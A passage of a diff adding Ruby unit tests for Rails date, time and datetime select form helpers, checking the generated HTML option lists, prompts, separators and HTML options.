+ expected << %{<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value [...]
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :prompt => true)
+ end
+
+ def test_date_select_with_custom_prompt
+ @post = Post.new
+ @post.written_on = Date.new(2004, 6, 15)
+
+ expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n}
+ expected << %{<option value="">Choose year</option>\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n}
+ expected << %{<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December [...]
+ expected << "</select>\n"
+
+ expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n}
+ expected << %{<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<optio [...]
+
+ expected << "</select>\n"
+
+ assert_dom_equal expected, date_select("post", "written_on", :prompt => {:year => 'Choose year', :month => 'Choose month', :day => 'Choose day'})
+ end
+
+ def test_time_select
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on")
+ end
+
+ def test_time_select_with_selected
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 12}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 20}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", selected: Time.local(2004, 6, 15, 12, 20, 30))
+ end
+
+ def test_time_select_with_selected_nil
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="1" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="1" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="1" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}">#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", discard_year: true, discard_month: true, discard_day: true, selected: nil)
+ end
+
+ def test_time_select_without_date_hidden_fields
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", :ignore_date => true)
+ end
+
+ def test_time_select_with_seconds
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", :include_seconds => true)
+ end
+
+ def test_time_select_with_html_options
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", {}, :class => 'selector')
+ end
+
+ def test_time_select_with_html_options_within_fields_for
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.time_select(:written_on, {}, :class => 'selector')
+ end
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]" class="selector">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]" class="selector">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_time_select_with_separator
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " - "
+
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " - "
+
+ expected << %(<select id="post_written_on_6i" name="post[written_on(6i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", { :time_separator => " - ", :include_seconds => true })
+ end
+
+ def test_time_select_with_default_prompt
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ expected << %(<option value="">Hour</option>\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ expected << %(<option value="">Minute</option>\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", :prompt => true)
+ end
+
+ def test_time_select_with_custom_prompt
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" name="post[written_on(4i)]">\n)
+ expected << %(<option value="">Choose hour</option>\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" name="post[written_on(5i)]">\n)
+ expected << %(<option value="">Choose minute</option>\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute'})
+ end
+
+ def test_time_select_with_disabled_html_option
+ @post = Post.new
+ @post.written_on = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<input type="hidden" id="post_written_on_1i" disabled="disabled" name="post[written_on(1i)]" value="2004" />\n}
+ expected << %{<input type="hidden" id="post_written_on_2i" disabled="disabled" name="post[written_on(2i)]" value="6" />\n}
+ expected << %{<input type="hidden" id="post_written_on_3i" disabled="disabled" name="post[written_on(3i)]" value="15" />\n}
+
+ expected << %(<select id="post_written_on_4i" disabled="disabled" name="post[written_on(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+ expected << " : "
+ expected << %(<select id="post_written_on_5i" disabled="disabled" name="post[written_on(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, time_select("post", "written_on", {}, :disabled => true)
+ end
+
+ def test_datetime_select
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at")
+ end
+
+ def test_datetime_select_with_selected
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3" selected="selected">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10" selected="selected">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</o [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12" selected="selected">12</option>\n<option value="13">13</option>\n<optio [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", :selected => Time.local(2004, 3, 10, 12, 30))
+ end
+
+ def test_datetime_select_with_selected_nil
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ expected = '<input id="post_updated_at_1i" name="post[updated_at(1i)]" type="hidden" value="1"/>' + "\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option valu [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", discard_year: true, selected: nil)
+ end
+
+ def test_datetime_select_defaults_to_time_zone_now_when_config_time_zone_is_set
+ # The love zone is UTC+0
+ mytz = Class.new(ActiveSupport::TimeZone) {
+ attr_accessor :now
+ }.create('tenderlove', 0)
+
+ now = Time.mktime(2004, 6, 15, 16, 35, 0)
+ mytz.now = now
+ Time.zone = mytz
+
+ assert_equal mytz, Time.zone
+
+ @post = Post.new
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ expected << " — "
+
+ expected << %{<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+ expected << " : "
+ expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n}
+ expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at")
+ ensure
+ Time.zone = nil
+ end
+
+ def test_datetime_select_with_html_options_within_fields_for
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 16, 35)
+
+ output_buffer = fields_for :post, @post do |f|
+ concat f.datetime_select(:updated_at, {}, :class => 'selector')
+ end
+
+ expected = "<select id='post_updated_at_1i' name='post[updated_at(1i)]' class='selector'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='20 [...]
+ expected << "<select id='post_updated_at_2i' name='post[updated_at(2i)]' class='selector'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November [...]
+ expected << "<select id='post_updated_at_3i' name='post[updated_at(3i)]' class='selector'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option> [...]
+ expected << " — <select id='post_updated_at_4i' name='post[updated_at(4i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<op [...]
+ expected << " : <select id='post_updated_at_5i' name='post[updated_at(5i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option v [...]
+
+ assert_dom_equal expected, output_buffer
+ end
+
+ def test_datetime_select_with_separators
+ @post = Post.new
+ @post.updated_at = Time.local(2004, 6, 15, 15, 16, 35)
+
+ expected = %{<select id="post_updated_at_1i" name="post[updated_at(1i)]">\n}
+ expected << %{<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option value="2004" selected="selected">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_updated_at_2i" name="post[updated_at(2i)]">\n}
+ expected << %{<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6" selected="selected">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n}
+ expected << "</select>\n"
+
+ expected << " / "
+
+ expected << %{<select id="post_updated_at_3i" name="post[updated_at(3i)]">\n}
+ expected << %{<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15" selected="selected">15</o [...]
+ expected << "</select>\n"
+
+ expected << " , "
+
+ expected << %(<select id="post_updated_at_4i" name="post[updated_at(4i)]">\n)
+ 0.upto(23) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 15}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " - "
+
+ expected << %(<select id="post_updated_at_5i" name="post[updated_at(5i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 16}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ expected << " - "
+
+ expected << %(<select id="post_updated_at_6i" name="post[updated_at(6i)]">\n)
+ 0.upto(59) { |i| expected << %(<option value="#{sprintf("%02d", i)}"#{' selected="selected"' if i == 35}>#{sprintf("%02d", i)}</option>\n) }
+ expected << "</select>\n"
+
+ assert_dom_equal expected, datetime_select("post", "updated_at", { :date_separator => " / ", :datetime_separator => " , ", :time_separator => " - ", :include_seconds => true })
+ end
+
+ def test_datetime_select_with_integer
+ @post = Post.new
+ @post.updated_at = 3
+ datetime_select("post", "updated_at")
+ end
+
+ def test_datetime_select_with_infinity # Float
+ @post = Post.new
+ @post.updated_at = (-1.0/0)
